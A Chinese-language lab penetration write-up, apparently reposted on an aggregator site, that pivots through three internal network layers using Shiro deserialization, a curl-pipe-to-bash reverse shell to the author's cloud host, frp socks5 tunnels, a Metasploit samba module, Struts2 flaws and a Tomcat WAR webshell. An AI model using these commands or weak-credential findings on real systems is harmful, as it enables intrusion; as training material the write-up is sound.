记一次内网靶机实战

news2024/11/28 12:32:26

文章目录

    • 0x00 边界服务器
    • 0x01 一层网络
      • 0x01-01 fscan内网扫描
      • 0x01-02 配置frp设置socks5代理
      • 0x01-03 访问内网的（10.10.135.66）
      • 0x01-04 访问内网的（10.10.135.35）
      • 0x01-05 访问内网的（10.10.135.190）
    • 0x02二层网络
      • 0x02-01 内网扫描
      • 0x02-02 添加路由
      • 0x02-03 访问内网的（172.16.15.111）
      • 0x02-04 访问内网的（172.16.15.115）
      • 0x02-05 访问内网的（172.16.15.187）
      • 0x02-06 访问内网的（172.16.15.88）
      • 0x02-07 访问内网的（172.16.15.145）
      • 0x02-08 tomcat任意文件上传(172.16.15.66:8080)
    • 0x03 三层服务器
      • 0x03-01 内网扫描
      • 0x03-02 添加路由
      • 0x03-03 访问内网的（192.168.13.55）
      • 0x03-04 访问内网的（192.168.13.56）
      • 0x03-05 访问内网的（192.168.13.203）
    • 0x04 总结
      • 0x04-01 网络拓扑
      • 0x04-01 漏洞知识点
    • 摘抄

0x00 边界服务器

访问http://1.xx.xx.xx.:xx7/login
在这里插入图片描述

发现rememberMe字段
在这里插入图片描述
工具检测

shiro 反序列化，上传内存马
[++] 存在shiro框架！
[++] 找到key：kPH+bIxk5D2deZiIxcaaaA==
[+] 爆破结束
[-] 测试:CommonsBeanutils1  回显方式: AllEcho
[-] 测试:CommonsBeanutils1  回显方式: TomcatEcho
[++] 发现构造链:CommonsBeanutils1  回显方式: SpringEcho
[++] 请尝试进行功能区利用。

在这里插入图片描述

远程连接

在这里插入图片描述

反弹shell到云主机,使用curl反弹shell

curl http://82.xx.xx.xx:xx0/bash.html|bash

在这里插入图片描述

0x01 一层网络

0x01-01 fscan内网扫描

通过上传fscan,扫描发现存活主机

10.10.135.1:22 open
10.10.135.35:139 open
10.10.135.35:445 open
10.10.135.190:8080 open
10.10.135.25:8080 open
10.10.135.66:3306 open
[+] mysql:10.10.135.66:3306:root 123456
[*] 10.10.135.35  (Windows 6.1)
[*] WebTitle:http://10.10.135.190:8080 code:200 len:52     title:None
[*] WebTitle:http://10.10.135.25:8080  code:302 len:0      title:None 跳转url: http://10.10.135.25:8080/login;jsessionid=ACFC3E30347DD234AF1E730D02A792E2
[*] WebTitle:http://10.10.135.25:8080/login;jsessionid=ACFC3E30347DD234AF1E730D02A792E2 code:200 len:2608   title:Login Page
[+] InfoScan:http://10.10.135.25:8080/login;jsessionid=ACFC3E30347DD234AF1E730D02A792E2 [Shiro] 
[+] http://10.10.135.190:8080 poc-yaml-struts2_046-1 
[+] http://10.10.135.190:8080 poc-yaml-struts2_045 poc1

在这里插入图片描述
在这里插入图片描述

0x01-02 配置frp设置socks5代理

目标机(1.xx.xx.xx4)frpc
配置远程连接的IP地址（82.xx.xx.xx），通过tcp协议的socks5的7777端口进行通信传输

frpc.ini 
------------------------------------
[common]
server_addr = 82.1xx.xx.xx1
server_port = 7077

[plugin_socks5]
type = tcp  #协议
remote_port = 9566 #指定远程服务器的端口
plugin = socks5
------------------------------------
启动客户端
chmod +x frpc
chmod +x frpc.ini
exectue -f ./frpc -c ./frpc.ini

vps(82.xx.xx.xx1)配置frps

frps.ini
-----------------------------------
[common]
bind_port = 7077 #必要，frp服务端端口
------------------------------------
启动服务端
chmod +x frps
chmod +x frps.ini
./frps -c ./frps.ini

踩坑1：忘记在防火墙添加策略，导致失败

frp通道建立成功
在这里插入图片描述
配置好代理
在这里插入图片描述

0x01-03 访问内网的（10.10.135.66）

10.10.135.66:3306:root 123456

在这里插入图片描述

0x01-04 访问内网的（10.10.135.35）

10.10.135.35  (Windows 6.1)

在这里插入图片描述

发现内网存活主机 开展信息搜集，发现该主机系统为linux ，开放139、445端口，其中445端
口为samba 4.6.3 通过search samba 4.6 发现存在漏洞

search samba 4.6 
use exploit/linux/samba/is_known_pipename
set rhosts 10.10.135.35
run

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

0x01-05 访问内网的（10.10.135.190）

structs漏洞

http://10.10.135.190:8080 poc-yaml-struts2_046-1 
http://10.10.135.190:8080 poc-yaml-struts2_045 poc1

在这里插入图片描述

配置代理，通过proxifer配置socks5代理，把电脑代理到内网，然后使用struts2工具去探测内网漏洞
在这里插入图片描述

执行命令
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

给网站目录下上传文件jsp文件,下载Godzilla，配置代理，成功连接

在这里插入图片描述
在这里插入图片描述

0x02二层网络

0x02-01 内网扫描

./fscan_amd64 -h 172.16.15.0/24 -np 

172.16.15.115:3306 open
172.16.15.111:3306 open
172.16.15.88:139 open
172.16.15.145:445 open
172.16.15.88:445 open
172.16.15.66:8009 open
172.16.15.87:8080 open
172.16.15.66:8080 open
172.16.15.187:6379 open
172.16.15.145:139 open
[+] mysql:172.16.15.111:3306:root 123456
[+] Redis:172.16.15.187:6379 unauthorized file:/data/dump.rdb
[+] mysql:172.16.15.115:3306:root 123456
[*] WebTitle:http://172.16.15.66:8080  code:200 len:11230  title:Apache Tomcat/8.0.43
[*] WebTitle:http://172.16.15.87:8080  code:200 len:52     title:None
[*] 172.16.15.145  (Windows 6.1)
[*] 172.16.15.88  (Windows 6.1)
[+] http://172.16.15.87:8080 poc-yaml-struts2_045 poc1
[+] http://172.16.15.66:8080/manager/html poc-yaml-tomcat-manager-weak [{username tomcat} {password tomcat}]

在这里插入图片描述
在这里插入图片描述

此时的获取的内网信息
在这里插入图片描述

0x02-02 添加路由

在边界服务器1.xx.xx.xx：xx7/10.10.135.25上添加路由配置，使得 边界服务器与172.16.15.0/24网段连通
在这里插入图片描述

0x02-03 访问内网的（172.16.15.111）

mysql:172.16.15.111:3306:root 123456

在这里插入图片描述

0x02-04 访问内网的（172.16.15.115）

172.16.15.115:3306:root 123456

在这里插入图片描述

0x02-05 访问内网的（172.16.15.187）

172.16.15.187:6379 unauthorized file:/data/dump.rdb

0x02-06 访问内网的（172.16.15.88）

172.16.15.88  (Windows 6.1)

在这里插入图片描述

0x02-07 访问内网的（172.16.15.145）

172.16.15.145  (Windows 6.1)

在这里插入图片描述

0x02-08 tomcat任意文件上传(172.16.15.66:8080)

http://172.16.15.66:8080/manager/html poc-yaml-tomcat-manager-weak [{username tomcat} {password tomcat}]

burp 设置socks5代理
在这里插入图片描述
在这里插入图片描述

下载冰蝎，然后shell,jsp,进行压缩，生成shell.zip,手动更改后缀shell.war,直接进行文件上传
在这里插入图片描述

访问连接

http://172.16.15.66:8080//shell/shell.jsp
rebeyond

在这里插入图片描述

进行反弹shell
在这里插入图片描述

发现是双网卡
在这里插入图片描述

0x03 三层服务器

0x03-01 内网扫描

./fscan_amd64 -h 192.168.13.0/24
start infoscan
(icmp) Target 192.168.13.106  is alive
(icmp) Target 192.168.13.1    is alive
(icmp) Target 192.168.13.55   is alive
(icmp) Target 192.168.13.56   is alive
(icmp) Target 192.168.13.203  is alive
[*] Icmp alive hosts len is: 5
192.168.13.203:80 open
192.168.13.106:8080 open
192.168.13.56:5432 open
192.168.13.55:3306 open
192.168.13.106:8009 open
192.168.13.1:22 open
[*] alive ports len is: 6
start vulscan
[*] WebTitle:http://192.168.13.106:8080 code:200 len:11230  title:Apache Tomcat/8.0.43
[+] mysql:192.168.13.55:3306:root 123456
[+] Postgres:192.168.13.56:5432:postgres postgres
[*] WebTitle:http://192.168.13.203     code:302 len:312    title:Redirecting to /core/install.php 跳转url: http://192.168.13.203/core/install.php
[+] http://192.168.13.106:8080/manager/html poc-yaml-tomcat-manager-weak [{username tomcat} {password tomcat}]
已完成 5/6 [-] ssh 192.168.13.1:22 root 123qwe ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 5/6 [-] ssh 192.168.13.1:22 root Aa123456! ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 5/6 [-] ssh 192.168.13.1:22 admin admin@123#4 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

在这里插入图片描述

此时的内网信息收集
在这里插入图片描述

0x03-02 添加路由

在这里插入图片描述

0x03-03 访问内网的（192.168.13.55）

mysql:192.168.13.55:3306:root 123456

在这里插入图片描述

0x03-04 访问内网的（192.168.13.56）

Postgres:192.168.13.56:5432:postgres postgres

在这里插入图片描述

0x03-05 访问内网的（192.168.13.203）

http://192.168.13.203/core/install.php

查看drupal8.5.0的漏洞
在这里插入图片描述

0x04 总结

0x04-01 网络拓扑

在这里插入图片描述

0x04-01 漏洞知识点

1、shiro反序列化漏洞
2、strut2漏洞
3、Drupal漏洞
4、内网代理工具
5、数据库连接工具
6、window的samba漏洞
7、viper的使用

摘抄

很多人都曾梦想做一番大事业，但其实一点点小事累积就成了大事，任何大的成就也都是累积的结果，这就是累积定律。

如果你想获得成长，就从认真完成手头的小任务开始；如果你想拥有一个好身材，就从慢跑1公里开始；如果你想有好的文笔，就从看一本书开始。你想成为一个什么样的人，想过什么样的生活，其实都取决于你每一个决定。

任何事情只要开始就不晚，人生的路，每一步都算数。做你想做的事，努力成为你想成为的人，就从现在开始行动吧。
------累积定律

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/3677.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

稀疏数组

稀疏数组

章节目录：一、稀疏数组1.1 需求引出1.2 基本介绍1.3 应用实例二、结束语一、稀疏数组 1.1 需求引出 假设我们有个五子棋程序，使用1来表示黑子，2表示蓝子，0表示没有棋盘落子，并且需要对棋盘数据进行存储。 前端棋盘示意…
阅读更多...
546、Zookeeper详细入门教程系列 -【Zookeeper内部原理】 2022.11.06

546、Zookeeper详细入门教程系列 -【Zookeeper内部原理】 2022.11.06

目录一、Zookeeper内部原理1.1 节点类型（Znode）1.2 Stat结构体1.3 监听器原理1.4 选举机制1.5 写数据流程二、最后三、参考链接一、Zookeeper内部原理 1.1 节点类型（Znode） 持久：客户端和服务器断开后，创…
阅读更多...
汇编语言程序设计 --- 一元二次方程ax2+bx+c=0求解（含注释详细源代码 + 实验报告）

汇编语言程序设计 --- 一元二次方程ax2+bx+c=0求解（含注释详细源代码 + 实验报告）

目录一、实验内容二、实验说明三、实验报告要求四、实验目的五、 程序流程图六、内存变化情况七、实验报告 源程序代码 （详细注释）一、实验内容 一元二次方程ax2bxc0求解。 二、实验说明 1、要求在数据段中定义a、b、c、x，a、b、c初值不限…
阅读更多...
【晶振专题】案例：为什么对着STM32低速32.768K晶振哈口气就不起振了？

【晶振专题】案例：为什么对着STM32低速32.768K晶振哈口气就不起振了？

本案例发现在一个工装产品上，首批一共做了10几台样机。发现有的样机在开机的时候读取不到RTC，有的样机却可以。读不到RTC是概率性出现的，发生在第一次上电的情况。开始他怀疑是环境问题，会不会和温度有关，于是同事在家做了大量的实验，发现对晶振吹口气就能让晶振不起振，…
阅读更多...
01-nacos在Windows系统单机,集群的安装

01-nacos在Windows系统单机,集群的安装

一 ，什么是Nacos?官网 Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service的首字母简称，一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。Nacos 提供了一组简单易用的特性集，能够快速实现动态服务发现、服务…
阅读更多...
Flutter教程之在 Flutter 中显示 TextField 上的日期选择器（教程含源码）

Flutter教程之在 Flutter 中显示 TextField 上的日期选择器（教程含源码）

首先我们必须知道它是什么 Flutter 中的日期选择器——Flutter 日期范围选择器是一个轻量级的小部件，它允许用户轻松选择单个日期、多个日期或一个日期范围。日期选择器提供月、年、十年和世纪视图选项，以快速导航到所需的日期。 让我们实现它… 日期选择器—— 我们将在 …
阅读更多...
机场调度管理系统（客户端+服务器端+Java+MySQL）

机场调度管理系统（客户端+服务器端+Java+MySQL）

目 录 1 绪论 1 1.1 项目背景 1 1.2 项目目的 1 1.3 项目可行性分析 2 2 技术介绍 3 2.1 Java技术 3 2.1.1 Java技术简介 3 2.1.2 Java面向对象的特征 3 2.2Javascript和jQuery技术 4 2.1.1 Javascript 简介 4 2.2.2 jQuery-easyui简介 4 2.3Jsp技术 5 2.4 Mysql 5 3 需求分析…
阅读更多...
python基础05——字典:dict及集合:set，看这篇文章就够了

python基础05——字典:dict及集合:set，看这篇文章就够了

目录1字典: dict 无序可变序列1.1 创建1.1.1 用{ }创建字典1.1.2 用dict创建字典1.1.3 用zip创建字典1.1.4 用fromkeys创建字典1.2 查询1.2.1 通过键访问字典的值1.2.1.1 直接取键 dict[ ]1.2.1.2 get()1.2.2 查看字典的键和值1.2.2.1 返回所有的键 dict.keys()1.2.2.2 返回所有…
阅读更多...
分布式搜索———黑马旅游

分布式搜索———黑马旅游

案例功能实现 : ● 酒店搜索和分页 ● 酒店结果过滤 ● 我周边的酒店 ● 酒店竞价排名 资源链接 hoteld-demo工程：https://pan.baidu.com/s/1YlKz6vxcm7VWXAWPlUiBqg 提取码：GY66 进入hoteld-demo工程，启动服务，打开浏览器进入…
阅读更多...
uniapp微信小程序半屏跳转小程序

uniapp微信小程序半屏跳转小程序

1、资料设置申请绑定 进入微信小程序 设置 -> 第三方设置 -> 半屏小程序管理 添加需要绑定的小程序的appid 等待审核，审核通过后开始写代码 2、代码编写 （1）、以前的跳转方式是uni.navigateToMiniProgram 换成wx.openEmbeddedMiniP…
阅读更多...
Spring核心思想

Spring核心思想

文章目录1. Spring核心思想1.1 Spring是什么1.2 什么是容器1.3 什么是loC1.3.1 传统开发1.3.2 如何解决传统开发中耦合度高的问题1.3.3 控制反转程序的编写1.4 理解Spring loC1.5 什么是DI1. Spring核心思想 1.1 Spring是什么 我们通常说的Spring是Spring Framework(Spring框…
阅读更多...
一个非常实用的分布式 JVM 监控工具

一个非常实用的分布式 JVM 监控工具

介绍 该项目为了方便开发者更快监控多个远程主机jvm，如果你的项目是Spring boot那么很方便集成，jar包引入即可，不是Spring boot也不用气馁，你可以快速自行初始化一个Spirng boot程序引入jar包即可 效果展示 整体架构 git地址 ht…
阅读更多...
Kafka由浅入深（6） Sender线程执行源码解析

Kafka由浅入深（6） Sender线程执行源码解析

一、KafkaProducer消息流程图 1.1 KafkaProducer 消息架构图 1.2 KafkaProducer 消息架构分为两部分 第一部分是KafkaProducer主线程 主要逻辑提供消息拦截器、序列化器、和分区器的默认实现和对外自定义扩展功能，已经将消息追加并缓存到累加器RecordAccumulator…
阅读更多...
NeurIPS 2022 | 涨点神器！利用图像辅助三维点云分析的训练新范式

NeurIPS 2022 | 涨点神器！利用图像辅助三维点云分析的训练新范式

原文链接：https://www.techbeat.net/article-info?id4212 作者：颜旭 点云作为一种基本的三维表征形式，活跃在自动驾驶、机器人感知等多种任务上。尽管三维点云分析在近年来取得了良好的发展，但由于点云其本身往往是无序、无纹理以…
阅读更多...
OpenCV笔记--人脸识别算法Eigenfaces和Fisherfaces

OpenCV笔记--人脸识别算法Eigenfaces和Fisherfaces

目录 1--前言 2--处理ORL数据集 3--Eigenfaces复现过程 4--Fisherfaces复现过程 5--分析 1--前言 ①SYSU模式识别课程作业 ②配置：基于Windows11、OpenCV4.5.5、VSCode、CMake（参考OpenCV配置方式） ③原理及源码介绍：Face…
阅读更多...
云栖探馆！云小宝首秀遇上老司机小龙，猜猜谁赢了？

云栖探馆！云小宝首秀遇上老司机小龙，猜猜谁赢了？

为啥人人都喜欢秋天呢？因为我们打喷嚏都是“爱秋”啊～ 为啥大家会来云栖大会呢？因为云栖大会让我们在一“栖”啊～ 2022云栖大会龙蜥峰会，小龙来啦~！ ​ 去年，小龙作为萌新来到云栖大会&#…
阅读更多...
归并排序.

归并排序.

归并排序介绍 归并排序(MERGE-SORT)是利用归并的思想实现的排序方法,该算法采用金典的分治(divide-and-conquer)策略(分治法将问题分(divide)成一些小的问题然后递归求解,而治(conquer)的阶段则将分的阶段得到的各个答案"修补"在一起,即分而治之) 归并排序的思想示…
阅读更多...
为什么程序员会秃头？盘点程序员糟心的几大因素

为什么程序员会秃头？盘点程序员糟心的几大因素

程序员与脱发似乎存在某种必然的逻辑连接，程序员秃头已经成为大家心中的思维定势。 一提到程序员，难免会想起来java， c， python以及无休止的debug环节，不难想象经常会有程序员跳楼自杀的情况。因为实在是生存不易&…
阅读更多...
L5W1作业1 手把手实现循环神经网络

L5W1作业1 手把手实现循环神经网络

欢迎来到课程5的第一个作业！在此作业中，你将使用numpy实现你的第一个循环神经网络。 循环神经网络（RNN）在解决自然语言处理和其他序列任务上非常有效，因为它们具有“记忆”，可以一次读取一个输入 x⟨t⟩x^…
阅读更多...
C语言百日刷题第六天

C语言百日刷题第六天

C语言百日刷题第六天51.鸡兔同笼问题52.输出所有形如aabb的完全平方数53.3n1问题54.输出100~999的所有水仙花数55.韩信点兵56.倒三角形57.求子序列的和58.分数化小数59.开灯问题60.蛇形填数51.鸡兔同笼问题 分析：小学生数学问题。设鸡为a个，兔为b个&…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023